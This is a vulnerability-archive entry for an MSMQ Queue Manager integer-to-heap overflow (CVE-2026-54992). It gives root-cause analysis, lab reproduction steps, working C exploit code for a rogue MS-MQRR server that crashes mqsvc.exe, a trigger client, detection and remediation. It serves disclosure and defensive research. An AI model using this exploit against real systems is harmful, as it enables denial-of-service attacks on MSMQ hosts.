PoC Archive PoC Archive
CVE-2026-54992 category: network CVSS 8.4 (HIGH)
Patched

Windows Message Queuing (MSMQ) Queue Manager Heap-Based Buffer Overflow (CVE-2026-54992)

Published: 2026-07-27 • Researcher: DavidCarliez

Target software Windows Message Queuing (MSMQ) — Queue Manager (mqqm.dll, hosted in mqsvc.exe), reached via the MS-MQRR (RemoteRead) RPC interface
Affected versions Windows builds with the MSMQ-Server optional feature enabled and vulnerable mqqm.dll (per vendor advisory; not independently version-fingerprinted beyond the PoC's tested build)
Status PoC (crash/DoS confirmed, no RCE demonstrated)
Severity High · CVSS 8.4
CVSS 8.4/10
Severity
High
CVE
CVE-2026-54992
Category
network
Affected product
Windows Message Queuing (MSMQ) — Queue Manager (mqqm.dll, hosted in mqsvc.exe), reached via the MS-MQRR (RemoteRead) RPC interface
Affected versions
Windows builds with the MSMQ-Server optional feature enabled and vulnerable mqqm.dll (per vendor advisory; not independently version-fingerprinted beyond the PoC's tested build)
Disclosed
2026-07-27
Patch status
Patched
On this page

Metadata

FieldValue
Date Added2026-07-27
Last Updated2026-07-27
Author / ResearcherDavidCarliez
CVE / AdvisoryCVE-2026-54992
Categorynetwork
SeverityHigh
CVSS Score8.4
StatusPoC (crash/DoS confirmed, no RCE demonstrated)
Tagswindows, msmq, message-queuing, heap-overflow, integer-overflow, rpc, dos, crash
RelatedN/A

Affected Target

FieldValue
Software / SystemWindows Message Queuing (MSMQ) — Queue Manager (mqqm.dll, hosted in mqsvc.exe), reached via the MS-MQRR (RemoteRead) RPC interface
Versions AffectedWindows builds with the MSMQ-Server optional feature enabled and vulnerable mqqm.dll (per vendor advisory; not independently version-fingerprinted beyond the PoC’s tested build)
Language / PlatformWindows x64, MS-RPC (ncacn_ip_tcp), C
Authentication RequiredNo (client-side trigger runs as a normal, non-elevated user; the malicious MS-MQRR response comes from an attacker-controlled remote host acting as the queue owner)
Network Access RequiredYes — the target must be induced to open a remote queue (DIRECT=OS:<attacker>\private$\<queue>) served by the attacker’s MS-MQRR listener on TCP 2105

Summary

MSMQ’s Queue Manager processes R_StartReceive/R_StartTransactionalReceive responses from the MS-MQRR RPC interface as a set of SectionBuffer structures, each carrying its own SectionSizeAlloc. When a remote-read response is split into multiple sections, mqqm.dll sums their allocation sizes using a 32-bit addition with no aggregate-overflow check. A malicious MS-MQRR server can return two sections whose SectionSizeAlloc values are 0x2000 and 0xffffe010; their true sum, 0x100000010, wraps to 0x10 in 32-bit arithmetic. MSMQ allocates a buffer using the wrapped (0x10-byte) size but then copies/processes data according to the original, much larger section sizes, producing a heap-based out-of-bounds write. NVD and MSRC list this with a code-execution-capable CVSS vector, but the verified public PoC only reaches — and only claims to reach — an out-of-bounds write that reliably crashes mqsvc.exe; no working code-execution chain has been publicly demonstrated (see Notes for the impact-framing correction).

Vulnerability Details

Root Cause

mqqm.dll validates each SectionBuffer returned by a remote R_StartReceive/R_StartTransactionalReceive RPC call individually, but computes the aggregate allocation size for the reassembled packet by summing each section’s SectionSizeAlloc as a plain 32-bit DWORD addition, without checking for overflow of that sum. The PoC’s fake MS-MQRR server (fake_remote_read_server.c, function malicious_sections()) returns exactly two sections:

  • Section 1 (stBinaryFirstSection): SectionSizeAlloc = 0x2000, SectionSize = 0x2000, backed by a fully attacker-controlled buffer.
  • Section 2 (stBinarySecondSection): SectionSizeAlloc = 0xffffe010 (g_wrapped_size - g_controlled_size, i.e. 0x10 - 0x2000 computed under unsigned wraparound), SectionSize = 1.

0x2000 + 0xffffe010 = 0x1_0000_0010, which truncates to 0x10 in 32-bit arithmetic. MSMQ allocates its reassembly buffer using this wrapped 0x10-byte size, then proceeds to copy/process the sections according to their original (non-wrapped) sizes — chiefly the 0x2000-byte first section — overflowing the undersized heap allocation. The --neighbor-* options in the PoC server (offset, block size, header10, packet/body size fields) exist to let a researcher place adjacent heap metadata/allocations at a controlled offset within the oversized write, for differential testing of what the overflow corrupts; the publicly demonstrated and reproducible outcome of that corruption is a service crash, not a controlled redirection of execution.

Attack Vector

  1. Attacker stands up a rogue MS-MQRR (RemoteRead) RPC server on TCP port 2105 (the same port real MSMQ uses for this interface), implementing the interface defined in fake_remote_read.idl.
  2. A process on the target — as an ordinary, non-elevated user — opens a remote queue whose format name points at the attacker’s host, e.g. DIRECT=OS:<attacker-ip>\private$\<queue> (remote_read_trigger.c does this via MQOpenQueue/MQReceiveMessage).
  3. This causes the target’s local mqsvc.exe to make an outbound MS-MQRR RPC call (R_StartReceive) to the attacker’s server to fetch the “message”.
  4. The attacker’s server responds with two SectionBuffer entries whose SectionSizeAlloc values (0x2000 and 0xffffe010) sum to 0x100000010, wrapping to 0x10 in 32-bit arithmetic.
  5. mqqm.dll inside mqsvc.exe allocates a 0x10-byte buffer for the reassembled packet but processes the sections’ real (unwrapped) sizes, overflowing the undersized heap allocation and crashing the service.

Impact

Verified impact: local Denial of Service. Successful exploitation reliably terminates mqsvc.exe — the target’s MSMQ service transitions to Stopped with service exit code 1067 (“The process terminated unexpectedly”), confirmed in the PoC’s own invoke-crash.ps1 success check. This requires no privilege on the target beyond the ability to have some process open a remote queue pointed at the attacker (a routine MSMQ client operation), and requires no authentication from the malicious MS-MQRR server back to the target. NVD/MSRC describe this CVE with a CVSS vector implying confidentiality/integrity impact consistent with potential remote code execution; the verified, publicly demonstrated impact of this PoC is limited to a crash/DoS of the MSMQ service — see Notes below for why this archive is not inheriting the more severe framing.

Environment / Lab Setup

Output
OS:          Two disposable Windows VMs (isolated/lab network only) — one "target"
             running the vulnerable MSMQ Queue Manager, one "helper" running the
             malicious MS-MQRR emulator. Both must be Windows builds with the
             MSMQ-Server optional feature available.
Target:      Windows with MSMQ-Server feature enabled (setup-target.ps1)
Attacker:    Same OS family, running fake_remote_read_server.exe (start-emulator.ps1)
Tools:       MinGW-w64 (x86_64-w64-mingw32-gcc) to cross-build the two Windows x64
             binaries; PowerShell on both VMs to drive the lab scripts.
Network:     Attacker/helper and target must be on separate machines — both the
             helper's emulator and a real MSMQ service listen on TCP port 2105,
             so they cannot coexist on one host while the emulator is running.

Setup Steps

Shell script
1
make clean all

Proof of Concept

See fake_remote_read.idl, fake_remote_read_server.c (+ generated RPC stubs fake_remote_read.h / fake_remote_read_i.c / fake_remote_read_s.c), remote_read_trigger.c, legitimate_packet_template.h, Makefile, and the four lab scripts (setup-target.ps1, start-emulator.ps1, invoke-crash.ps1, restore-helper.ps1) in this folder — mirrored unmodified from DavidCarliez/CVE-2026-54992-PoC. Verified before ingestion: fake_remote_read.idl is a real, complete MS-MQRR interface definition (matching the public RemoteRead RPC interface UUID 1a9134dd-7b39-45ba-ad88-44d01ca47f28), compiled through a standard MIDL-style stub (fake_remote_read_s.c, 1177 lines) into a genuine RPC server (fake_remote_read_server.c) that registers on ncacn_ip_tcp port 2105 and implements R_StartReceive/R_StartTransactionalReceive to return the exact two-section overflow payload (0x2000 + 0xffffe010 → wraps to 0x10) described in the root-cause analysis. remote_read_trigger.c is a genuine MSMQ client (MQOpenQueue/MQReceiveMessage against mq.h/mqrt.lib) that opens a remote-format queue pointed at the attacker host — the real code path that causes mqsvc.exe to make the vulnerable outbound RPC call. The PowerShell scripts implement a genuine two-VM lab: setup-target.ps1 enables the MSMQ-Server feature and configures full WER crash-dump collection for mqsvc.exe; start-emulator.ps1 opens the firewall and launches the rogue RPC server with the documented overflow arguments; invoke-crash.ps1 requires an explicit -IUnderstandThisWillCrashMSMQ safety flag and verifies the crash by checking the MSMQ service state and exit code (1067) plus WER event log entries; restore-helper.ps1 tears the lab back down. No obfuscation, no unrelated network calls, no destructive default behavior — the crash trigger is explicitly gated behind an “I understand this will crash MSMQ” flag. This is consistent with genuine, tested exploitation of a real crash primitive rather than a template or guess.

Step-by-Step Reproduction

  1. Build the PoC binaries on a Linux host with MinGW-w64

    Shell script
    1
    2
    
    make clean all
    # produces fake_remote_read_server.exe and remote_read_trigger.exe
  2. Copy this entire folder to both Windows VMs (target and helper).

  3. On the target VM, from an elevated PowerShell window, enable MSMQ and configure crash-dump collection

    PowerShell
    1
    2
    
    Set-ExecutionPolicy -Scope Process Bypass
    .\setup-target.ps1
  4. On the helper VM, from an elevated PowerShell window, start the malicious MS-MQRR emulator

    PowerShell
    1
    2
    3
    4
    
    Set-ExecutionPolicy -Scope Process Bypass
    .\start-emulator.ps1
    # Payload: section allocations 0x2000 + 0xffffe010 = 0x100000010 -> 0x10
    # TCP 2105 is listening; run invoke-crash.ps1 on the target.
  5. On the target VM, from a normal, non-elevated PowerShell window, trigger the remote read against the helper

    PowerShell
    1
    
    .\invoke-crash.ps1 -Server 192.168.122.53 -IUnderstandThisWillCrashMSMQ
  6. Reset the lab for another run

    PowerShell
    1
    2
    3
    
    # On the helper:
    .\restore-helper.ps1
    # On the target: restart the MSMQ service

Exploit Code

C source
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
/* fake_remote_read_server.c — the two-section overflow payload */
static DWORD g_controlled_size = 0x2000;
static DWORD g_wrapped_size = 0x10;

static HRESULT malicious_sections(DWORD *arrive, ULONGLONG *sequence,
    DWORD *count, SectionBuffer **sections)
{
    DWORD second_alloc = g_wrapped_size - g_controlled_size; /* wraps to 0xffffe010 */
    SectionBuffer *result = MIDL_user_allocate(2 * sizeof(*result));

    result[0].SectionBufferType = stBinaryFirstSection;
    result[0].SectionSizeAlloc  = g_controlled_size;   /* 0x2000 */
    result[0].SectionSize       = g_controlled_size;
    result[0].pSectionBuffer    = MIDL_user_allocate(g_controlled_size);

    result[1].SectionBufferType = stBinarySecondSection;
    result[1].SectionSizeAlloc  = second_alloc;        /* 0xffffe010 */
    result[1].SectionSize       = 1;
    result[1].pSectionBuffer    = MIDL_user_allocate(1);

    /* 0x2000 + 0xffffe010 = 0x100000010 -> wraps to 0x10 in mqqm.dll's
     * 32-bit aggregate-size arithmetic */
    *count = 2;
    *sections = result;
    return S_OK;
}
C source
1
2
3
4
5
6
7
8
/* remote_read_trigger.c — client-side trigger, runs as a normal user */
const wchar_t *format = L"DIRECT=OS:192.168.122.53\\private$\\cve54992";
QUEUEHANDLE queue = NULL;
MQOpenQueue(format, MQ_RECEIVE_ACCESS, MQ_DENY_NONE, &queue);
MQReceiveMessage(queue, 10000, MQ_ACTION_PEEK_CURRENT, &props,
    NULL, NULL, NULL, MQ_NO_TRANSACTION);
/* -> mqsvc.exe issues the outbound MS-MQRR R_StartReceive call that
 *    receives the malicious two-section response above */

Expected Output

Output
[*] MSMQ PID before: 2184
[*] Remote format name: DIRECT=OS:192.168.122.53\private$\cve54992
[*] Trigger exit: 2
[*] MSMQ state after: Stopped, service exit 1067

[+] Reproduced: mqsvc.exe terminated and MSMQ stopped with exit 1067.

Screenshots / Evidence

  • Not included in this archive entry. invoke-crash.ps1 itself performs the evidence capture (service state, service exit code, and matching Application Error / Windows Error Reporting event log entries), and setup-target.ps1 configures full WER dumps for mqsvc.exe under C:\Users\Public\CVE-2026-54992-dumps for offline crash analysis — reproduce locally per the steps above to generate equivalent evidence and dumps.

Detection & Indicators of Compromise

Output

SIEM / IDS Rule (example):

Output
alert tcp any any -> any 2105 (msg:"Possible MS-MQRR CVE-2026-54992 remote-read overflow attempt"; flow:established; sid:9000003;)

Remediation

ActionDetail
PatchApply Microsoft’s fix for CVE-2026-54992 once released/available via Windows Update; track the MSRC advisory for the specific mqqm.dll version that adds the aggregate-overflow check on SectionSizeAlloc summation.
WorkaroundDisable the MSMQ-Server optional feature on hosts that do not require it; restrict outbound/inbound reachability to the MS-MQRR RPC endpoint (TCP 2105 / RPC endpoint mapper) to trusted MSMQ peers only.
Config HardeningEnable WER full-dump collection for mqsvc.exe (as this PoC’s setup-target.ps1 does) on hosts running MSMQ, to aid detection and forensic triage if a crash occurs; monitor MSMQ service restarts/exit codes.

References

Notes

Impact framing correction: NVD and MSRC list CVE-2026-54992 with a CVSS vector and description consistent with potential remote code execution in MSMQ’s Queue Manager. That framing is not what the verified public PoC demonstrates. The upstream author is explicit and consistent about this in their own README: “The PoC demonstrates denial of service; it does not demonstrate code execution.” The confirmed, reproducible outcome across the PoC’s own success criteria (invoke-crash.ps1) is that mqsvc.exe terminates and the MSMQ service stops with exit code 1067 — a crash/DoS, not arbitrary code execution. The PoC server’s --neighbor-* options (offset, block size, header/packet/body size fields) show the author probing what heap-adjacent structures the oversized write can corrupt, which is consistent with genuine, methodical primitive-development work toward a potential RCE — but no such RCE chain is demonstrated, claimed, or included here. Consistent with how this archive has corrected similarly over-stated CVE impact framing before (see pocs/web/2026-07-27_cve-2026-54350-budibase-nosql-injection/README.md, where a CVSS 10.0 NoSQL-injection CVE was likewise being informally described as RCE despite the vendor advisory and PoC only supporting unauthenticated bulk read/write), this entry’s Status and Severity fields reflect the verified crash/DoS impact rather than the vendor’s more severe code-execution-capable framing.

Root cause, restated precisely: the overflow is a classic 32-bit integer-overflow-to-heap-overflow. Two attacker-supplied SectionSizeAlloc values, 0x2000 and 0xffffe010, are summed by mqqm.dll as a 32-bit DWORD addition with no overflow check; their true sum 0x100000010 truncates to 0x10. MSMQ allocates a 0x10-byte buffer for the reassembled packet and then writes/copies data sized according to the original (unwrapped) section sizes into it — an out-of-bounds heap write. This is the same overflow-checking-forgotten-on-aggregation class of bug (rather than a single-field size confusion) as many historical Windows RPC/heap CVEs.

Author track record: DavidCarliez has a consistent, credible multi-CVE track record in Windows vulnerability research; this archive also carries their CVE-2026-49176 (WalletService LPE) work. The MS-MQRR IDL, RPC server, and lab tooling here show the same level of care (a real, protocol-accurate IDL compiled through genuine RPC stubs, rather than a hand-waved simulation), consistent with that track record.

fake_remote_read_i.c
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
/*** Autogenerated by WIDL 11.13 from fake_remote_read.idl - Do not edit ***/

#include <rpc.h>
#include <rpcndr.h>

#ifdef _MIDL_USE_GUIDDEF_

#ifndef INITGUID
#define INITGUID
#include <guiddef.h>
#undef INITGUID
#else
#include <guiddef.h>
#endif

#define MIDL_DEFINE_GUID(type,name,l,w1,w2,b1,b2,b3,b4,b5,b6,b7,b8) \
    DEFINE_GUID(name,l,w1,w2,b1,b2,b3,b4,b5,b6,b7,b8)

#elif defined(__cplusplus)

#define MIDL_DEFINE_GUID(type,name,l,w1,w2,b1,b2,b3,b4,b5,b6,b7,b8) \
    EXTERN_C const type DECLSPEC_SELECTANY name = {l,w1,w2,{b1,b2,b3,b4,b5,b6,b7,b8}}

#else

#define MIDL_DEFINE_GUID(type,name,l,w1,w2,b1,b2,b3,b4,b5,b6,b7,b8) \
    const type DECLSPEC_SELECTANY name = {l,w1,w2,{b1,b2,b3,b4,b5,b6,b7,b8}}

#endif

#ifdef __cplusplus
extern "C" {
#endif


#ifdef __cplusplus
}
#endif

#undef MIDL_DEFINE_GUID